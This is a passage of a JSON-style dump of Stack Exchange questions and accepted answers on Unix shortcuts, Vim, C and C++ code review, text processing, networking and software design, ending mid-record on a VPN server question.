{  "id": "_unix.191973"  , "question": "I want to add command scrot -s as custom shortcuts via gnome-control-center keyboard. The accelerator key was Super+S.but it didn't works. If i remove -s or try other interactive command like xkill, they works fine. Also, scrot -e 'mv $f ~/Pictures/scrot/' is works fine too.So my question, why scrot -s didn't work and how can i fix it.My distro is fedora 21, gnome version is 3.14.2, and scrot version 0.8[UPDATE] gnome-screenshot -a is failed too.[UPDATE 2] The default shortcut Save a screenshot of an area to Pictures is working fine, but i'm still curious why it didn't work when i set it to custom shortcuts.[UPDATE 3]The following is the error log results from custom shortcut command strace -v -s 1000000 -o /tmp/gnomescr.log gnome-screenshot -a:$ grep -ni CRITICAL /tmp/gnomescr.log 2660:write(2, \\n(gnome-screenshot:8700): Gdk-CRITICAL **: gdk_pixbuf_get_from_surface: assertion 'width > 0 && height > 0' failed\\n, 115) = 1152686:write(2, \\n(gnome-screenshot:8700): Gtk-CRITICAL **: gtk_window_resize: assertion 'width > 0' failed\\n, 91) = 912748:write(2, \\n** (gnome-screenshot:8700): CRITICAL **: Unable to capture a screenshot of any window\\n, 87) = 87$ "  , "title": "how to create custom shortcuts for scrot and gnome-screenshot interactive mode"  , "tags": "fedora;gnome;keyboard shortcuts;gnome3"  , "accepted_answer": "First, i tried strace parent processes like systemd and Xorg.bin, but i'm new to strace so i can't figure out.Then i thought it might related to permission issue (su -, sudo, ...etc). So i plan to press the shortcut key as root. So i quickly realized i can use sudo xdotool key Super+s to test it. Then what's surprising me it just works!So i try xdotool key Super+s without sudo and it still works. So i concluded that xdotool key Super+s is working fine, but still i can't figure out what's the difference between xdotool and key pressed from the strace log.Then i come out an idea what if i put xdotool key Super+s as a custom shortcut ? So i created a new custom shortcut Super+J and bind to command xdotool key Super+s, in which Super+s already bind to command scrot -s. And it just works when i press Super+jI tested gnome-screenshot -a and scrot -s and both works like a charm.[UPDATE] I found this link, Issue 476:   Xmonad should release key binding before spawning:Reported by JohnTy...@gmail.com, Sep 18, 2011Using scrot here to take screen shots. Scrot grabs the keyboard to  listen for a keypress as a signal to abort. If the keyboard is not  avaiable, it dies with error:giblib error: couldn't grab keyboard:Resource temporarily  unavailableTo test:bind scrot -s > /tmp/logfile to a keypress in xmonad.hsActivate keypress, nothing happens.Check logfile, find error stated above.I think it's a race condition because binding to sleep 0.2; scrot -s  works here.  The real problem is that xmonad is unnecessarily hanging  on to keyboard and the spawned app is expecting it.What version of the product are you using? On what operating system?  0.9.2/slackware linuxHe use sleep to solve the similar problem. I tested it and it works. But I've to put it inside a shell script because custom command doesn't seems to support && or ; for concatenating multiple commands. But the time period of sleep 0.2 sometime doesn't work for me. The safe way is of course increase to sleep 0.5-1 second."  } 
{  "id": "_vi.12904"  , "question": "How do you move a single line in Vim with a shortcut, and make the indent always be correct, as is displayed here:https://twitter.com/manucorporat/status/885054730812223489?s=09"  , "title": "Move line include indent"  , "tags": "vimrc"  , "accepted_answer": "Easy peasy. To map CONTROL+DOWN and CONTROL+UP you can do the following:To make it go down::nmap <C-DOWN> ddp==To make it go up::nmap <C-UP> ddkP==You can choose other keys to map, and you can just type the commands and repeat, no need to map. Very basic stuff.Edited: as the answer by Naumann bellow pointed out, vim already have ]p : p==[p : P== (upper-case P)So, if you still want to map the keys, you may use that instead of p== or P==BTW, I made a video as well.https://youtu.be/BARhbRzOa1YEdited:An explanation to this issue can be read hereThis answer of how map ALT key also uses exactly this example to illustrate it."  } 
{  "id": "_codereview.148216"  , "question": "I'm working on a basic linked list programs. In this program I can insert elements at the beginning, at the middle (after one specific element) of the list and at the end. I also can delete a specific element or delete an element from the end of the list. I have all these four methods in the code.Now I was trying in the main method to perform this operations in sequence: insert at the beginninginsert at the middledelete a specific element delete an element from the list.First I want to add 10 elements at the beginning of the list {50, 70, 80, 100, 77, 200, 44, 70, 6, 0}. Then I want to add 10 elements at the middle { 5, 20, 10 ,30 ,7 , 8, 2, 104, 1, 22} after the element 200. Then I want to add 10 elements at the end {40, 30, 20, 1, 7, 76, 4 , 0, 80, 2}. Then I want to delete a specific element 76 and then delete two elements at the end of the list.So, I want the final list as {0, 6, 70, 44, 200, 22, 1, 104, 2, 8, 7, 30, 10, 20, 5, 77, 100, 80, 70, 50, 40, 30, 20, 1, 7, 4, 0}.I don't know if it's  a good way. Do you think the code in the main method is OK, the for parts particularly?Main method:int main(){    printf(hi);    int i=0;    int listsize=10;    int arrBegining[] = {50,70, 80, 100, 77, 200, 44, 70, 6, 0};    int arrMiddle[] = {5, 20, 10, 30, 7, 8, 2, 104, 1, 22};    int arrEnd[] = {40, 30, 20, 1, 7, 76, 4 , 0, 80, 2};    for(i=0;i<listsize;i++){            insert_at_begning(arrBegining[i]);        }    for(i=0;i<listsize;i++){        insert_at_middle(arrMiddle[i], 200);    }    for(i=0;i<listsize;i++){        insert_at_end(arrEnd[i]);    }    for(i=0;i<listsize;i++){        delete_from_middle(76);    }    for(i=0;i<2;i++){        delete_from_end();    } }List operations:void insert_at_begning(int value){    var=(struct node *)malloc(sizeof (struct node));    var->data=value;    if(head==NULL)    {        head=var;        head->next=NULL;    }    else    {        var->next=head;        head=var;    }}void insert_at_middle(int value, int loc){    struct node *var2,*temp;    var=(struct node *)malloc(sizeof (struct node));    var->data=value;    temp=head;    if(head==NULL)    {        head=var;        head->next=NULL;    }    else    {        while(temp->data!=loc)        {            temp=temp->next;        }        var2=temp->next;        temp->next=var;        var->next=var2;    }}int delete_from_middle(int value){    struct node *temp,*var;    temp=head;    while(temp!=NULL)    {        if(temp->data == value)        {            if(temp==head)            {                head=temp->next;                free(temp);                return 0;            }            else            {                var->next=temp->next;                free(temp);                return 0;            }        }        else        {            var=temp;            temp=temp->next;        }    }    printf(data deleted from list is %d,value);}int delete_from_end(){    struct node *temp;    temp=head;    while(temp->next != NULL)    {        var=temp;        temp=temp->next;    }    if(temp ==head)    {        head=temp->next;        free(temp);        return 0;    }    printf(data deleted from list is %d,temp->data);    var->next=NULL;    free(temp);    return 0;}"  , "title": "Show the results of linked list operations in sequence"  , "tags": "c;linked list"  , "accepted_answer": "Typo in method name?insert_at_begning looks like it should be called insert_at_beginning?insert_at_middleThe method name doesn't seem to match what it actually does.  It looks more like it's insert_after.It also looks like it has a memory leak, what happens if you attempt to insert after a value that isn't currently in the list?varvar is not a good name for a variable, it is totally nondescript. It is even worse when it is declared at a global/file scope where it's declaration isn't even visible.  You appear to be using a global variable var in your insert methods, however have a local var in your delete_from_middle method.  This is confusing.  Variable should be named after what they represent from a logical perspective.  You should also try to avoid using the same name for variables in nested scopes.mainYour main looks mostly ok as a test harness, however it's rather inefficient.  Since your list doesn't maintain a tail pointer, inserting at the end is much slower than inserting at the beginning.  Similarly, inserting in the middle is relatively slow.  It would be more efficient to insert everything from the end to the front, rather than from the front to the end.I'd also personally store the arrays to be inserted in the order that I wanted them to be in the list (not backwards), then iterate through them in reverse order.  I know this has the same effect, but when I look at the code I would then be able to see the list rather than having to mentally flip the arrays."  } 
{  "id": "_unix.27520"  , "question": "The Product I have is a Western Digital My BookThe device has stopped working but there is nothing wrong with either of the two mirrored drives. I would like to take out the two mirrored hard drives, and recover the data if at all possible.  How would I go about this on ubuntu 11.10?  Both of the drives are recognized but I can not see the data anywhere. The relevant software I have on the system are: Disk Utility and a terminal application called mdadm.  I am trying to be cautious and not accidentally wipe the data.  Any help will be much appreciated."  , "title": "View Files from mirrored RAID outside the device"  , "tags": "ubuntu;raid"  } 
{  "id": "_softwareengineering.271895"  , "question": "Developing a database for many users, and thousands more people in the database, one section requires we encrypt the personal data - Youth's information, medical information, etc.We have users who are able to access the personal data on people within their control, but we are thinking that we will need to also encrypt the data when it's stored on our server. I believe that if I use each user's salted passwords to encrypt the data, only that user can access the data (not good). If I have one master key, then it would need to be stored outside of the application to access the data.Are there techniques that can encrypt the data in such a way that a data breach on the server won't show the data in the database in clear text, but that multiple users of certain permissions can decrypt the data they need?Must encrypt the data in the databaseMultiple users may need to access the same encrypted data, based on their permissionsCannot be derived from the user's passwords (since some users may leave or change, requiring access to be removed/edited/added)HTTPS is already getting used, and I understand encrypting data client-side is a Bad IdeaTMIf it matter: MySQL is the database system"  , "title": "Encrypting stored data for multiple unique users to access information"  , "tags": "database design;encryption"  } 
{  "id": "_unix.84023"  , "question": "Take for example this snippet of code on a web page.<html><body><script language=javascript>document.write(The cat);document.write( sat on the mat);</script></body></html>If I were to retrieve this web page via CURL or WGET I would get that text because the Javascript has not been processed.But I would like to retrieve this page, so I get the results of the Javascript output. So I would get just..The cat sat on the matIs there some Linux Javascript sandbox/emulator/pre processor or something of that ilk that would allow me to process that text into html. I understand Javascript is complex and don't expect 100% conversion. But even to get some basic conversion would be helpful.I know its possible as I'm sure Google does that when they index web pages to get the best results for the web pages they index."  , "title": "Javascript to HTML converter?"  , "tags": "scripting;download;javascript"  } 
{  "id": "_webapps.102275"  , "question": "If I have a formula in a cell, and I paste text into that cell, it will be replaced, even if the pasted content is an empty newline or tab. Is there a way I can paste where formula is prioritized over pasted content?"  , "title": "Stop formula replacement when pasting an empty cell"  , "tags": "google spreadsheets;formulas"  } 
{  "id": "_webmaster.53448"  , "question": "Is there a way to clean a directory using PHP after a certain amount of days? I'd like to put the amount of days into a $Cleanup variable? I've tried and not been able to get it working."  , "title": "PHP Clean Directory"  , "tags": "php;directory"  } 
{  "id": "_cs.10790"  , "question": "I have a problem where I am supposed to analyze the Steiner tree problem by doing the following 3 steps.1) Look up what the Steiner tree problem is.2) Find a polynomial time reduction to it from one of these 8 known NP-complete problems:3-col subset-sum clique hampath Uhampath sat 3-sat vertex-cover.3) Prove that it is NP-complete.My first problem is that I don't understand what the Steiner tree problem is. I can't find the problem anywhere. Wikipedia has  a page on it, but doesn't really describe it in simple terms.Can anyone help me out on this, and also give me hints for number 1, 2 and 3?"  , "title": "How to analyze the Steiner tree problem?"  , "tags": "complexity theory;graph theory;np complete;reductions;trees"  } 
{  "id": "_vi.3856"  , "question": "I'm a new Vim user, and I want to ask this somewhat elementary question in order to make sure I start learning Vim the right way and don't develop bad habits.When you use Vim, how do you position your right hand? I find it more natural to start with my fingers on the jkl; keys, but then I find myself missing the h key at times when I'm navigating. Conversely, if I position my fingers on hjkl then I find myself mistyping words as this isn't the position I was trained to keep my hand on the keyboard, and I find toggling the jk keys with my middle and third finger to be awkward."  , "title": "Hand Placement for Vim Navigation"  , "tags": "cursor movement;normal mode"  , "accepted_answer": "First of all I will assume that you are using a QWERTY keyboard. My answer isn't based on my personal preference, I am simply reformulating a part of the amazing Practical Vim written by Drew Neil.TL;DR Vim is optimized for the touch typists so your hands should stay where you learned to put them: left hand on asdf  and right hand on jkl;Neil says that putting your right hand on hjkl is a really bad thing to do. The main reason is that moving your cursor with the keys hjkl is something that should be very occasional because vim provides much faster word-wise movements or character search motion (w, b, f, t, /...).I'll also directly quote this part:I use the h and l keys for off-by-one errors, when I narrowly miss my target.  Apart from that, I hardly touch them. Given how little I use the h key, Im  happy to have to stretch for it on a Qwerty keyboard. On the flip side, I use  the character search commands often, so Im pleased  that the ; key rests comfortably beneath my little finger.Bonus: Even if that doesn't seems to be your case here is a tip to get rid of the beginners bad habit consisting in using the arrow keys to move: Simply add the following lines to your .vimrc to disable totally the arrow keys:noremap <Up>    <Nop>noremap <Down>  <Nop>noremap <Left>  <Nop>noremap <Right> <Nop>(<Nop> stands for No Operation)"  } 
{  "id": "_webapps.10871"  , "question": "I create a Gmail filter that makes emails coming from certain email ID (say abc@gmail.com) skip my inbox and go to trash. Now suppose Gmail's spam detector finds that a message from this address looks like spam. Then where shall such a mail be sent - trash or spam folder?"  , "title": "What takes precedence? My Gmail filter or Gmail's spam detection?"  , "tags": "gmail;gmail filters;spam prevention"  } 
{  "id": "_webmaster.68638"  , "question": "I took a sample mp4 video from here and uploaded it to the web server via FileZilla. Once the file was on the web server navigating to it in a browser gives the error when viewed in Mozilla.Video can't be played because the file is corruptIf you navigate to the URL in Chrome, you hear the audio but the video doesn't play.If I download the video to my local machine from the web server the video won't load and I get errors saying it is corrupt. The file is fine before uploading.I'm really confused about what is going on. I tried uploading a .mov file and I don't get this issue. The file uploads and runs fine (although I don't think .mov is supported by the HTML5 <movie> tag). I want to get the file in mp4 format.Is this a known issue? Is this a browser issue or likely an ftp issue? I'm not really sure why this is happening.NoteI have uploaded the sample file linked above from 2 different FTP clients and under Binary and ASCII uploads and it doesn't seem to make a difference."  , "title": "mp4 videos are showing up as corrupt after uploading them to web server?"  , "tags": "html5;video;ftp;uploading"  } 
{  "id": "_unix.131521"  , "question": "I need to duplicate part of a plain text file as follows:The text file consists of a sequence of pages, of the form:<page    [lots of lines of text]       /page><page    [lots of lines of text]       /page><page    [lots of lines of text]       /page><page    [lots of lines of text]       /page>and I need an automated way to duplicate say the 3rd such page.Is there an easy way to do this? (and similarly with 3rd replaced by 23rd etc)Ideally I would like a bash script that unzipped the file, then did this duplication in the resulting text file, then rezipped it. The aim of this is a hack to get xournal to duplicate pages."  , "title": "Duplicate specific text in text file, using perl or grep"  , "tags": "bash;awk;grep;perl"  , "accepted_answer": "You should probably use a real markup parser for this, however interpreting your format description minimally as<page line oneline two /page><page line threeline four /page><page line fiveline six /page>then if a quick'n'dirty awk solution1 is acceptable you could doawk -v pagenum=2 'BEGIN {RS=/page>; ORS=RS} FNR==pagenum {print} 1' fileor, less crypticallyawk -v pagenum=2 'BEGIN {RS=/page>; ORS=RS}; FNR==pagenum {print}; {print}' filewhere the number of the page you wish to duplicate is passed from the shell via the -v pagenum= parameter.If there is 'stuff' after the last /page> tag the above expressions may treat it as an incomplete record and add a spurious closing /page> record separator. In that case, the following modified expression may work betterawk -v pagenum=2 'BEGIN {RS=/page>; ORS=; OFS=} FNR==pagenum {print $0,RT} {print $0,RT}' filetested in gawk 3.1.8 and mawk 3.3"  } 
{  "id": "_softwareengineering.335481"  , "question": "I am trying to decide the best way for deploying Spring Web Services in a Continuous Delivery process. What's confusing to me is there is the Spring Framework and Spring Boot. To my knowledge Spring Framework is released into a servlets-supported server such as Tomcat, whereas Spring Boot embeds Tomcat in the individual artifact/web application. For a team that has multiple web applications, is it preferable to use have one Tomcat running and use Hot Deploy to release changes or have people found that releasing Spring Boot artifacts is better? The doubts which I'm having about Spring Boot is:should every artifact use a distinct port?if multiple embedded Tomcats are running on a server isn't it resource-heavy for the server?"  , "title": "Preferred way of deploying Spring Web Services in Continuous Delivery"  , "tags": "spring;continuous delivery"  } 
{  "id": "_unix.132290"  , "question": "Git completion:I'm having difficulty with git's filename autocompletions on my system. I'm using zsh (5.0.5) with git (1.9.3) on OS X (10.9.3). Both zsh and git have been installed via homebrew. (Full version output are at the bottom of the post.)git's filename completion isn't inserting spaces like I expect. When I type the name of a file with a space in the name, the shell inserts the filename without spaces escaped. zsh's built-in completion doesn't do this, but git's does.Here's an example of what I'm seeing.I have a repository with a few files with spaces in their names.% ls -latesttest four - latest.txttest three.txttest twoThe shell backslash escapes the filenames as expected when I use tab completion to insert the file name.% echo testing >> test<tab>autocompletes to this after hitting tab three times.% echo testing >> test\\ four\\ -\\ latest.txt filetest                       test\\ four\\ -\\ latest.txt  test\\ three.txt            test\\ two                git status shows these filenames in quotes (it totally understands what's up):% git status --short M test M test four - latest.txt M test three.txt M test twobut when I try to git add with tab autocompletion, it goes sideways.% git add test<tab>results in this after hitting tab three times:% git add test four - latest.txttest                    test four - latest.txt  test three.txt          test twoI've tried regressing this a bit: my dotfiles are in version control, so I've tried zsh 4.3.15, git 1.8.3, and my dotfiles from a year ago, when I'm nearly certain this worked. Weirdly, this setup was still broken.I have narrowed it down to the _git completion file that is being sourced from /usr/local/share/zsh/site-functions:% echo $FPATH/usr/local/share/zsh/site-functions:/usr/local/Cellar/zsh/5.0.5/share/zsh/functions% ls -l /usr/local/share/zsh/site-functions_git@ -> ../../../Cellar/git/1.9.3/share/zsh/site-functions/_git_hg@ -> ../../../Cellar/mercurial/3.0/share/zsh/site-functions/_hg_j@ -> ../../../Cellar/autojump/21.7.1/share/zsh/site-functions/_jgit-completion.bash@ -> ../../../Cellar/git/1.9.3/share/zsh/site-functions/git-completion.bashgo@ -> ../../../Cellar/go/HEAD/share/zsh/site-functions/goIf I manually change $FPATH before my .zshrc runs compinit (or simply remove the /usr/local/share/zsh/site-functions/_git symbolic link), then completions fall back to zsh and work as expected.The zsh completion without _git:% git add test<tab>hitting tab three times produces correct results:% git add test\\ four\\ -\\ latest.txt modified filetest                       test\\ four\\ -\\ latest.txt  test\\ three.txt            test\\ two                Side note: I've tried removing the git-completion.bash link, and it just totally breaks things:% git add test<tab>produces this busted-ness:% git add test__git_zsh_bash_func:9: command not found: __git_aliased_command    git add test filetest                       test\\ four\\ -\\ latest.txt  test\\ three.txt            test\\ two                I really want to get this working properly: the rest of the _git completions were great because they're more repo-aware than the zsh ones, but I need filenames with spaces or other special characters to be properly escaped.Software versions:% zsh --versionzsh 5.0.5 (x86_64-apple-darwin13.0.0)% git --versiongit version 1.9.3% sw_versProductName:    Mac OS XProductVersion: 10.9.3BuildVersion:   13D65I've uploaded the _git and git-completion.bash files: git-completion.bash and _git (renamed to _git.sh so CloudApp will make it viewable in the browser.)"  , "title": "git completion with zsh: filenames with spaces aren't being escaped properly"  , "tags": "zsh;autocomplete;git"  } 
{  "id": "_unix.280178"  , "question": "How to replace in vi? There are numerous explanations in Internet, but most of them doesn't contain information about which buttons to press.If I enter:s/[.]/[.] <ENTER>then only one occurrence replaced. Pressing n does only search.If I enter:%s/[.]/[.] <ENTER>it replaces dots in entire file, but in first positions only. For example, it changes .123pagerank.com to [.]123pagerank.com, ignoring second dot.How to accomplish?"  , "title": "How to replace all dots in vi"  , "tags": "vi;replace"  } 
{  "id": "_webmaster.36395"  , "question": "In Google's WebmasterTools, I submitted my site's XML sitemap, which is accessible through www.mysite.com/sitemap.  However, no where on the site do I have an actual link that points to this.Is there a benefit to having this - say somewhere on the footer?"  , "title": "Is there any benefit to having a link to your website's XML sitemap?"  , "tags": "google search console;xml sitemap"  , "accepted_answer": "The only place on your site where you might place a link (or URL reference) to your XML sitemap is in your robots.txt file. This will allow Google and all the other search engines you've not explicitly submitted a sitemap to, that support this extended robots.txt syntax, to find your XML sitemap:Sitemap: http://example.com/Sitemap.xmlAbsolute or relative URL?As mentioned in comments, the specification defines it as an absolute URL, however, the StackExchange network use a root-relative URL:## this technically isn't valid, since for some godforsaken reason # sitemap paths must be ABSOLUTE and not relative. #Sitemap: /sitemap.xml"  } 
{  "id": "_codereview.131183"  , "question": "As the title says, simple quicksort to help myself get used to C++ templates and iterators.  Main concern is whether there's a better way to template so that you can have a simple function (e.g. quicksort) that accepts any container type (specifically should I have some kind of assert or more complicated template to make sure the arguments are in fact iterators?)  Also note that it is inclusive of the end value, so to sort a whole container the call is qsort(c.begin(), c.end()-1).  template <typename Iter> Iter partition(Iter start, Iter end){    Iter pivot = start;    Iter cur = start;    while (cur < end) {        if(*cur <= *end){            std::swap(*cur,*pivot);            pivot++;        }        cur++;    }    std::swap(*pivot, *end);    return pivot;}template <typename Iter> void qsort(Iter start, Iter end){    if(end > start) {        Iter p = partition(start, end);        qsort(start, p - 1);        qsort(p + 1, end);    }   }"  , "title": "C++11 Quicksort any container"  , "tags": "c++;c++11;template;iterator;quick sort"  } 
{  "id": "_softwareengineering.108867"  , "question": "For the sake of argument:Let's assume the application we are building is an amortization schedule. Let's also assume that the database has a table called tblAmortizationPayments that stores the information about each monthly payment in a separate row. Let's further assume that the database language can support the math calculations needed to perform the calculations.If you were to build this amortization schedule for a 30 year mortgage, how would you decide between placing the code for performing these 360 calculations inside the database (I'm assuming this would be a stored procedure) or inside the application?I'm more interested in your thought process for making this type of decision or any similar scenario that might come along."  , "title": "How do you decide between putting the code in the database or putting the code in the application?"  , "tags": "database;programming logic;design decisions"  } 
{  "id": "_reverseengineering.11578"  , "question": "I am learning reversing an I am studying a code, which modifies itself (actually it is a crackme). It contains statements like: movw $0xc031, 0x(%edx), where edx contains the address of a statement. With breakpoints I can stop and inspect the modified code. I save it into a binary and disassemble with objdump to see what is the new statement. Doing this line by line is a bit slow. Is there better way to reverse this code? Maybe there are other tools, or functionalities in gdb unknown to me."  , "title": "Reversing self-modifying code"  , "tags": "disassembly;linux"  } 
{  "id": "_cogsci.17886"  , "question": "I'm having trouble understanding the difference between symbols and abstract thinking in Piaget's Cognitive Development Theory. Piaget says that in the preoperational stage, children 2-7 years old can think of things in terms of symbols, and that abstract thinking forms in the formal operational stage. I thought symbols are a part of abstract thinking, perhaps because symbols, to me, seem abstract. So, what does the theory mean when it refers to abstract thinking? Can someone give me a concrete example delineating the difference between the abstract thinking and symbolism parts in their respective stages? Much thanks! "  , "title": "What is the difference between Symbolism and Abstract thinking in Piaget's Theory?"  , "tags": "developmental psychology"  , "accepted_answer": "Symbolism uses a symbol to represent an existing object, while abstract thinking can be thought of as considering things that don't actually exist. For a rough example of each, consider representation as symbolism (this paper is the plane I'm on) and consider generalization as abstraction (what it means to be on something). For another, consider something (this blue line on a paper) that represents something else (this river), contrasted with considering the concepts of blue or line."  } 
{  "id": "_softwareengineering.83167"  , "question": "Possible Duplicate:Frankly, do you prefer Cowboy coding? By cowboy programming, I mean a programmer just typing the code very fast without a semi-formal process.I have a programmer that codes fast by dismissing revision control, documentation, patterns, tests, and methodologies. We talked about that and she tells me that all the approaches like agile are too academic and disregards them completely. I feel very reluctant to believe that is the consensus among senior programmers. I used to bring samples of big-name-guys like Kent Beck and Alan Kay, but she tells me that those are just authors trying to sell books or professors with no real experience.Yes, it is fast at first, but the time saved by the cowboy approach is paid in debugging. I'm not planning to change her opinion, but if those are bad practices, I don't want to adopt them.See, as a junior level, it is hard to filter good and bad practices because your knowledge is mostly based on books or on people with more experience than you and they might be wrong as well. So to senior programmers, is this a common approach at your league?"  , "title": "Is cowboy programming a senior approach?"  , "tags": "development process;development methodologies;cowboy coding"  } 
{  "id": "_webmaster.106393"  , "question": "As the title says one of my clients website getting lots of visit from this domain ?notify.discoverfinancial/notify-Legal_Notice_Splash_Page What this is all about ? Is there any security problem ?"  , "title": "Website getting lots of visits from this address?"  , "tags": "security"  } 
{  "id": "_softwareengineering.216560"  , "question": "I have a client who is given a tab delimited .txt file containing hundreds of thousands of rows.I have a user story as follows:As a user I want to take the text file and add a new value at the end of each line which contains the concatenated value of two of the columns.for example if the file readtext_one    text_twoI need to output the following (preferably to a .txt file)text_one    text_two    text_onetext_twoMy first approach was to ask the vendor supplying the file to do the concatenation before providing the file, the easiest way to solve a problem is to eliminate it right? however they are very uncooperative and have point blank refused.I've looked at building a simple javascript application that does this client side so a non-technical user could select the file using a file selector. This approach has a few problemsThe file could be over a GB in size and so can't be loaded straight into memory, I've tried and the browser crashesThere is no means to write a file in javascript so I'd need to output the content to the screen and have the user save it (somehow)I was thinking if I could get around the filesize limitations I could just output the edited content to the page and have the user save the page as a .txt file, however I think there is a better way than using javascript that will still accommodate the users lack of technical know-how.Please consider this question to be stack agnostic, but bear in mind that a nice little shell script or python script would be deemed unsuitable for a non technical user unless there is a way of packaging it nicely for a non-technical user.UpdatesThe file is too large to open in excel.The process needs to be run weekly, but it doesn't require scheduling or automation...(yet)"  , "title": "How to handle editing a large file for a non-technical user"  , "tags": "web development;javascript;web applications;language agnostic"  , "accepted_answer": "The code bit is trivial. The best way to do the process is to put something between the vendor and the user.My preference with these things is to get the vendor to transfer the file via FTP (which I hope they are already doing, given it's size). Write your code to grab the file, process it, and put it where the user expects to find it, then set it to run as appropriate (every 5 minutes, every day or whatever).This is a very common problem."  } 
{  "id": "_softwareengineering.166628"  , "question": "GOing over a lecture on DESI got most of it except WHERE DOES DES KEY COME FROM?Does an authority give you the key or what?Simple language please"  , "title": "From where is a DES key generated?"  , "tags": "computer science"  } 
{  "id": "_unix.14224"  , "question": "I have a record like :2011-05-29 17:51:34 => 'HS|CMGC|RN431|CI13950|CH7-4a37-afe2-acabfc9d262d|DA110529|TI175133|'I want my final output to be something like:2011-05-29 17:51:34  CI13950I can get each part using cut like this:$ cut -c 1-192011-05-29 17:51:34$ cut -d  '|' -f 4CI13950I am unable combine the two as:$ cut -c 1-19 -d  '|' -f 4cut: only one type of list may be specifiedAny suggestions?"  , "title": "Cut on both characters and field"  , "tags": "shell;text processing;cut"  , "accepted_answer": "Cut does its job once. You can run something through cut twice to pare it down even further, but it sounds like you need to use something like awk, sed, or perl instead.Example of running multiple cuts:cut -f 2 | cut -c 3-6Example using perl that will work on your data line:perl -pne s/=> '([^|]+\\|){3}([^|]+)/\\2/gHere is a sed version from Fred in the comments:sed -re s/=> ([^|]*\\|){3}([^|]*).*/\\2/"  } 
{  "id": "_unix.16413"  , "question": "How do I set my computer to have a static IP in Ubuntu 11.04? The only two lines in /etc/network/interfaces are:auto loiface lo inet loopbackI think usually when people do this they have a wired connection and just edit the eth0 settings, however I'm using a wireless adapter."  , "title": "How to set a static IP in Ubuntu"  , "tags": "ubuntu;networking;ip"  , "accepted_answer": "You can use Network Manager with a static IP address.If you want a system-wide setting, you can use /etc/network/interfaces for a wireless adapter. The only difference with a wired adapter is that you'll need extra settings for the encryption (unless your wifi network is unencrypted).For WPA (any supported variant), use wpa-supplicant Install wpasupplicant http://bit.ly/software-small.auto wlan0iface wlan0 inet static    address 192.0.2.3    netmask 255.255.255.0    broadcast 192.0.2.255    gateway 192.0.2.1    dns-nameservers 192.0.2.2    wpa-ssid chez-jackson    wpa-psk swordfishThe wpa- parameters are those you could put in a block in wpa_supplicant.conf, with wpa- prefixed.For WEP, the wireless-tools Install wpasupplicant http://bit.ly/software-small package has all you need. Instead of the wpa- settings, put wireless- settings, e.g.    wireless-essid chez-jackson    wireless-key 0123456789abcdef"  } 
{  "id": "_softwareengineering.309051"  , "question": "For an interface that can be used symetrically like for exampleinterface **ipc**   send()   receive() Both components receive and send. How do I represent this in UML?Currently I am doing this:Is this how it's done in a component diagram? If not, what's a better approach? (Please ignore the ports, the real components contain internal details)."  , "title": "How do I represent in UML two-way interface used by two connected components?"  , "tags": "uml"  , "accepted_answer": "In fact, at the type level, I would only define one Component providing and comsuming the IPC Interface as below.The connections between Component isntances would be defined in another diagram ( Composite structure or Object diagram). "  } 
{  "id": "_unix.212688"  , "question": "It's a serious question. I test some awk scripts and I need files with a newline in their names.Is it possible to add a newline into a filename with mv?I now, I can do this with touch:touch foobarWith touch I added the newline character per copy and paste. But I can't write fooReturnbar in my shell.How can I rename a file, to have a newline in the filename?Edit 2015/06/28;  07:08 pmTo add a newline in zsh I can use, Alt+Return"  , "title": "Add a newline into a filename with `mv`"  , "tags": "shell;command line;quoting;newlines"  , "accepted_answer": "It is a bad idea (to have strange characters in file names) but you could do mv somefile.txt foo bar(you could also have done mv somefile.txt $(printf foo\\nbar) or mv somefile.txt foo$'\\n'bar, etc... details are specific to your shell. I'm using zsh)Read more about globbing, e.g. glob(7). Details could be shell-specific. But understand that /bin/mv  is given (by your shell), via execve(2), an expanded array of arguments: argument expansion and globbing is the responsibility of the invoking shell.And you could even code a tiny C program to do the same:#include <stdio.h>#include <stdlib.h>int main() {  if (rename (somefile.txt, foo\\nbar)) {     perror(rename somefile.txt);     exit(EXIT_FAILURE);  };  return 0;}Save above program in foo.c , compile it with gcc -Wall foo.c -o foo  then run ./fooLikewise, you could code a similar script in Perl, Ruby, Python, Ocaml, etc....But that is a bad idea. Avoid newlines in filenames (it will confuse the user, and it could break many scripts).Actually, I even recommend to use only non-accentuated letters, digits, and +-/._%  characters (with /  being the directory separator) in file paths. Hidden files (starting with .) should be used with caution and parcimony. I believe using any kind of space in a file name is a mistake. Use an underscore instead (e.g. foo/bar_bee1.txt) or a minus (e.g. foo/bar-bee1.txt)"  } 
{  "id": "_softwareengineering.137428"  , "question": "I am going through Abelson and Sussman (Structure and Interpretationof Computer Programs) and I am a little confused about when normal order evaluation is used and when applicative order evaluation is used.This sentence throws me off:Lisp uses applicative-order evaluation partly because of the additional efficiency obtained from avoiding multiple evaluations of expressions suich as those illustrated with (+5 1) and (*5 2) above and, more significantly, because normal-order evaluation becomes much more complicated to deal with when we leave the realm of procedures that can be modeled by substitution. [emphasis added]on page 17 paragraph 1.However, in exercise 1.6, the implication is that Lisp uses normal order evaluation for primitives but applicative order evaluation for complex procedures.Could someone clarify?"  , "title": "normal order evaluation -vs- applicative order evaluation"  , "tags": "computer science;lisp;sicp"  , "accepted_answer": "First:  there are multiple implementations of Lisp, each of which may have different evaluation models.  I believe SICP mostly uses Scheme.Exercise 1.6 does not imply that Scheme uses normal order -- it's about a special form (if).  For special forms, the evaluation can be neither of applicative or normal.I believe Scheme always uses applicative order except in the case of special forms.For example:(cond (x 1)      (y 2)      (else 3))cond is a special form.  This would evaluate by evaluating x, and if it's true, then return 1, otherwise evaluate y, returning 2 if it's true, otherwise returning 3.I'm a little rusty on the Scheme -- hope I didn't forget any parentheses!  I'm also aware that there are multiple versions of Scheme, but not sure which one is used by the book."  } 
{  "id": "_unix.237460"  , "question": "I have a virtual private server, which I would like to run a web server while my server is connected to a VPN service When the VPN connection to my provider is not up, I can do anything I want with this server, ssh, scp, http etc.Once the openvpn is running and connected to the provider's VPN service, the server is not accessible by any means and of course for a good reasonThe picture is something like this :           My VPS                             ------------         +----------------+                  /            \\         |                |                 /   Internet  /       101.11.12.13         |        50.1.2.3|-----------------\\   cloud    /----<--- me@myhome         |                |                  /           \\         |     10.80.70.60|                 /             \\         +----------------+                 \\              \\                        :                    \\_____________/                        :                           :                        :                           :                        :                           :                        :                           :                  +------------------+              :                  |     10.80.70.61  |              :                  |               \\  |              :                  |                \\ |              :                  | 175.41.42.43:1197|..............:                  |   175.41.42.43:yy|                     |       .....      |                  |   175.41.42.43:xx|                  +------------------+Legend                  ------ Line No VPN connection present...... Line VPN connection establishedThings to clarify:All IP 